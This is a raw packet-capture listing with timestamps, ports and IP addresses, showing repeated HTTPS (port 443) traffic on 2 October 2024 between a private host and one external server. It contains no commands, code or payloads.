Oct 2, 2024 05:19:42.029730082 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.037669897 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.037688017 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.037744045 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.037750959 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.037792921 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.048398018 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.048413992 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.048466921 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.048475027 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.048518896 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.067457914 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.067490101 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.067555904 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.067564011 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.067605972 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.083280087 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.083297014 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.083379030 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.083390951 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.083434105 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.094933987 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.094954967 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.095036030 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.095042944 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.095083952 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.103765965 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.103780985 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.103858948 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.103866100 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.103909016 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.114463091 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.114484072 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.114551067 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.114557981 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.114602089 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.120678902 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.120695114 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.120735884 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.120740891 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.120765924 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.120789051 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.128741980 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.128757000 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.128829002 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.128835917 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.128874063 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.139570951 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.139585972 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.139633894 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.139641047 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.139667988 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.139686108 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.158726931 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.158746004 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.158838987 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.158844948 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.158885002 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.174319029 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.174344063 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.174427986 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.174437046 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.174477100 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.186074972 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.186090946 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.186172962 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.186178923 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.186219931 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.194935083 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.194950104 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.195056915 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.195064068 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.195101023 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.205733061 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.205749035 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.205926895 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.205939054 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.205988884 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.211924076 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.211939096 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.212013006 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.212019920 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.212059975 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.219983101 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.220004082 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.220062971 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.220068932 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.220101118 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.220120907 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.230756998 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.230772018 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.230937958 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.230946064 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.230984926 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.249680996 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.249696016 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.249774933 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.249782085 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.249839067 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.265348911 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.265367031 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.265448093 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.265455961 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.265497923 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.277151108 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.277168036 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.277219057 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.277225971 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.277276039 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.286043882 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.286060095 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.286107063 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.286113977 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.286128998 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.286147118 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.296731949 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.296746016 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.296809912 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.296817064 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.296857119 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.303524971 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.303540945 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.303602934 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.303611994 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.303653002 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.311007023 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.311022043 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.311089993 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.311096907 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.311135054 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.321656942 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.321679115 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.321746111 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.321753979 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.321794987 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.340658903 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.340683937 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.340745926 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.340753078 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.340791941 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.356328011 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.356343985 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.356416941 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.356422901 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.356471062 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.368252039 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.368267059 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.368334055 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.368340969 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.368381977 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.377084017 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.377099037 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.377193928 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.377199888 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.377243042 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.387829065 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.387851000 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.387967110 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.387973070 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.388012886 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.393970966 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.393986940 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.394061089 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.394067049 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.394104958 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.402107000 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.402123928 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.402194023 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.402200937 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.402239084 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.412741899 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.412759066 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.412823915 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.412831068 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.412872076 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.431845903 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.431864023 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.431952953 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.431958914 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.432003975 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.447314024 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.447329998 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.447402000 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.447407961 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.447457075 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.459305048 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.459319115 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.459408998 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.459415913 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.459455967 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.468045950 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.468060017 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.468242884 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.468250990 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.468302011 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.478792906 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.478807926 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.478878975 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.478887081 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.478928089 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.485099077 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.485114098 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.485191107 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.485198021 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.485243082 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.493077040 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.493093967 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.493170023 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.493176937 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.493221998 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.503745079 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.503767014 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.503837109 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.503844023 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.503885984 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.522926092 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.522941113 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.523024082 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.523030996 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.523073912 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.538485050 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.538505077 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.538557053 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.538563013 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.538599014 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.538628101 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.550453901 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.550467968 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.550537109 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.550544024 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.550586939 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.559112072 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.559130907 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.559206963 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.559214115 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.559256077 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.569863081 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.569878101 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.569940090 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.569947004 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.569988966 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.576113939 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.576128960 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.576178074 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.576184988 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.576226950 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.584039927 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.584053993 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.584120989 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.584127903 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.584171057 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.594934940 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.594949007 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.595024109 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.595031023 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.595076084 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.613974094 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.613990068 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.614069939 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.614077091 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.614125967 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.629472971 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.629487991 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.629551888 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.629559040 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.629597902 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.641587019 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.641602993 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.641652107 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.641657114 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.641684055 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.641696930 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.650243998 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.650259018 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.650331020 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.650337934 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.650378942 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.660861969 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.660876989 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.660958052 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.660965919 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.661010027 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.667184114 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.667200089 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.667242050 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.667247057 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.667274952 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.667293072 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.675029039 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.675046921 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.675086021 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.675095081 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.675116062 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.675134897 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.686007023 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.686028004 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.686084032 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.686090946 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.686130047 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.705049992 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.705065012 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.705121040 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.705127001 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.705158949 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.705173016 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.720890045 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.720906019 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.720977068 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.720983982 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.721056938 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.732880116 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.732897043 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.732992887 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.733000040 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.733038902 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.741384983 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.741401911 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.741477013 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.741482973 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.741524935 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.752259970 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.752275944 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.752336979 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.752343893 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.752387047 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.760773897 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.760788918 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.760844946 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.760852098 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.760898113 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.767417908 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.767431974 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.767487049 CEST	49756	443	192.168.2.4	49.12.197.9
